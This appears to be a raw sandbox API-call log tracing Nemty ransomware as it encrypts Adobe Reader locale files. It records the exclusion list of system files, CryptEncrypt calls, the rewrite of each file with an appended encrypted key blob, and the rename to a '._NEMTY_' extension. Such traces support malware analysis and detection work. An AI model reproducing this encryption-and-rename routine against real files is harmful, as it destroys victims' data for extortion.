lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="MSDOS.SYS") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="IO.SYS") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="boot.ini") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="boot.ini") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="AUTOEXEC.BAT") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="ntuser.dat") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="desktop.ini") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="CONFIG.SYS") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="RECYCLER") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="BOOTSECT.BAK") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="bootmgr") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="programdata") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="appdata") returned -1 [0177.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HRV", lpUsedDefaultChar=0x0) returned 19 [0177.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0177.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HRV", lpUsedDefaultChar=0x0) returned 19 [0177.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0177.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HRV", lpUsedDefaultChar=0x0) returned 19 [0177.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HRV", lpUsedDefaultChar=0x0) returned 19 [0177.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0177.447] Sleep (dwMilliseconds=0x5) [0177.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d69fd50, dwHighDateTime=0x1d561e8)) [0177.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d69fd50, dwHighDateTime=0x1d561e8)) [0177.448] GetLastError () returned 0x0 [0177.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.448] GetLastError () returned 0x0 [0177.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.448] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.448] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.448] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0177.448] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="aN75mitsubgbwpXY8JRbTC+t2ZyousTs03k0yL+Jd46J6dKoVSk7NeFdj1CjdPvc\r\nIn9/kJI2uZ8mfPU+3P9al3rDDjTkrj1vTFfWkjyr3GexCTDAQEc4xBxihGfDjq+R\r\nJiv9goM6JaLK1g5SF5gvn8+UQZs81vS0PNNke5N4BAdJXPDMvvyF//sjluGkh6wE\r\ncuZJoggg2y3UInQiUEPGjwfR6K7xOE/AoO9T/tQ9uCOUGT/zcTx/Wjk+CtsKCPxj\r\njRenOJh1/E6CpaMHybBK0gZEhOGC6Kx5n2PyccaVbrCnc99FKidx7ckyLFLbGGF1\r\nSkbtNKJLP46k9+1D1Zkfrw==\r\n", pcchString=0x653e5dc) returned 1 [0177.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0177.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\adobecollabsync.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.449] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0177.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0177.449] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.450] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0177.451] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.451] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0177.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.452] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0177.452] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.452] CloseHandle (hObject=0x2e8) returned 1 [0177.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0177.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0177.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0177.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0177.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.452] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\adobecollabsync.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\adobecollabsync.hrv._nemty_kgobjgd_")) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.453] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.HRV", cAlternateFileName="")) returned 1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2=".") returned 1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="..") returned 1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="...") returned 1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="windows") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="rsa") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="NTDETECT.COM") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="ntldr") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="MSDOS.SYS") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="IO.SYS") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="boot.ini") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="boot.ini") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="AUTOEXEC.BAT") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="ntuser.dat") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="desktop.ini") returned -1 [0177.453] lstrcmpiW (lpString1="Annots.HRV", lpString2="CONFIG.SYS") returned -1 [0177.454] lstrcmpiW (lpString1="Annots.HRV", lpString2="RECYCLER") returned -1 [0177.454] lstrcmpiW (lpString1="Annots.HRV", lpString2="BOOTSECT.BAK") returned -1 [0177.454] lstrcmpiW (lpString1="Annots.HRV", lpString2="bootmgr") returned -1 [0177.454] lstrcmpiW (lpString1="Annots.HRV", lpString2="programdata") returned -1 [0177.454] lstrcmpiW (lpString1="Annots.HRV", lpString2="appdata") returned -1 [0177.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.454] Sleep (dwMilliseconds=0x5) [0177.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d6c5eb0, dwHighDateTime=0x1d561e8)) [0177.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d6c5eb0, dwHighDateTime=0x1d561e8)) [0177.463] GetLastError () returned 0x0 [0177.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.463] GetLastError () returned 0x0 [0177.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.464] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.464] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.464] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.464] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="ELix82ICaivFP1AWfCVEC5yApIdHagCQozSrxm4oBWC7+4N8lx8FBzN5Wg+WZ48h\r\ne0J47vVitWjGqLT0MIC9VamKpkWDjTE/Zt+adfNGpG37dYkAJ/6xZllnksc9BzA5\r\nqMAsgEYjXrx9zxES8oz50hACtk7z4Ojsklv/kb7cvpJV/hqpc88/E8pHYlYF2LwU\r\nrW8xUwI1CFwHqfrrIGJl339ggumLI9FxcUrRiznvKjezGBFHbO4jeGuxUUIDEdq9\r\nr6iQKlPiWKJ/2sPCWrAwrxLwpgJsOM9gcyRrZ54JLJB5zyWb8Mp4ie1/Y9cQre1Q\r\nJjHBFuCbn1WG8PpWsTSsew==\r\n", pcchString=0x653e5dc) returned 1 [0177.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\annots.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.464] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=486912) returned 1 [0177.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.464] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.464] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.473] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.473] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.474] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=486912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x76e00 [0177.474] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.475] CloseHandle (hObject=0x2e8) returned 1 [0177.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.475] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\annots.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\annots.hrv._nemty_kgobjgd_")) returned 1 [0177.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.477] 